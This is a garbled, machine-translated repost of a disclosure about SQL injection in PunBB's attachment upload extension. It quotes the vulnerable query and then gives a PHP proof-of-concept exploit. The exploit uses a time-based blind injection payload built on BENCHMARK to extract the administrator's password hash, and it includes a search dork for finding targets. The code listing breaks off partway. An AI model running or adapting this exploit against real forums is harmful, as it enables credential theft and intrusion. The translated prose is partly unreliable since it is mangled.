PunBB official attachment upload extension Injection Vulnerability

Source: Internet
Author: User
PunBB official upload attachment extension injection vulnerability Author: Ryatif (isset ($ _ GET [secure_str]) {if (preg_match (~ (\ D +) f (\ d + )~, $ _ GET [secure_str], $ match) {... WHEREa. AND (fp. read_forumISNULLORfp.read_forum1) ANDsecure _

PunBB official attachment upload extension Injection Vulnerability

Author: Ryat

 
 
  1. if (isset($_GET[\'secure_str\']))  
  2. {  
  3.     if (preg_match(\'~(d+)f(d+)~\', $_GET[\'secure_str\'], $match))  
  4.     {  
  5.     ...  
  6.             \'WHERE\'        => \'a.id = \'.$attach_item.\' AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \'\'.$_GET[\'secure_str\'].\'\'\'     

Obviously, it should beRegular ExpressionThe misuse of expressions and preg_match functions can trigger SQL inj through $ _ GET [\ 'Secure _ str...

In addition, in pun_list_attach.PhpThere is also an injection for the file, but the background permissions are required. If you are interested, you need to see it more clearly :)

Finally, let's give a PoC EXP. Don't ask me about the specific effect and utilization...

 
 
  1. #!/usr/bin/php  
  2.  
  3. print_r(\'  
  4. +---------------------------------------------------------------------------+  
  5. Punbb Extension Attachment <= v1.0.2 Bind SQL injection exploit  
  6. by puret_t  
  7. mail: puretot at gmail dot com  
  8. team: http://www.wolvez.org  
  9. dork: "Powered by PunBB" 
  10. +---------------------------------------------------------------------------+  
  11. \');  
  12. /**  
  13.  * works regardless of php.ini settings  
  14.  */ 
  15. if ($argc < 3) {  
  16.     print_r(\'  
  17. +---------------------------------------------------------------------------+  
  18. Usage: php \'.$argv[0].\' host path  
  19. host:      target server (ip/hostname)  
  20. path:      path to punbb  
  21. Example:  
  22. php \'.$argv[0].\' localhost /punbb/  
  23. +---------------------------------------------------------------------------+  
  24. \');  
  25.     exit;  
  26. }  
  27.  
  28. error_reporting(7);  
  29. ini_set(\'max_execution_time\', 0);  
  30.  
  31. $host = $argv[1];  
  32. $path = $argv[2];  
  33.  
  34. $pre = \'pun_\';  
  35.  
  36. $benchmark = 200000000;  
  37. $timeout = 10;  
  38.  
  39. echo "Plz Waiting...nPassword:n";  
  40. /**  
  41.  * get pass  
  42.  */ 
  43. $j = 1;  
  44. $pass = \'\';  
  45.  
  46. $hash[0] = 0; //null  
  47. $hash = array_merge($hash, range(48, 57)); //numbers  
  48. $hash = array_merge($hash, range(97, 122)); //a-z letters  
  49.  
  50. while (strlen($pass) < 40) {  
  51.     for ($i = 0; $i <= 255; $i ++) {  
  52.         if (in_array($i, $hash)) {  
  53.             $cmd = \'1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20\'.$pre.\'users%20WHERE%20group_id=1%20LIMIT%201),\'.$j.\',1))=\'.$i.\'),BENCHMARK(\'.$benchmark.\',CHAR(0)),1))%23\';  
  54.             send();  
  55.             usleep(2000000);  
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.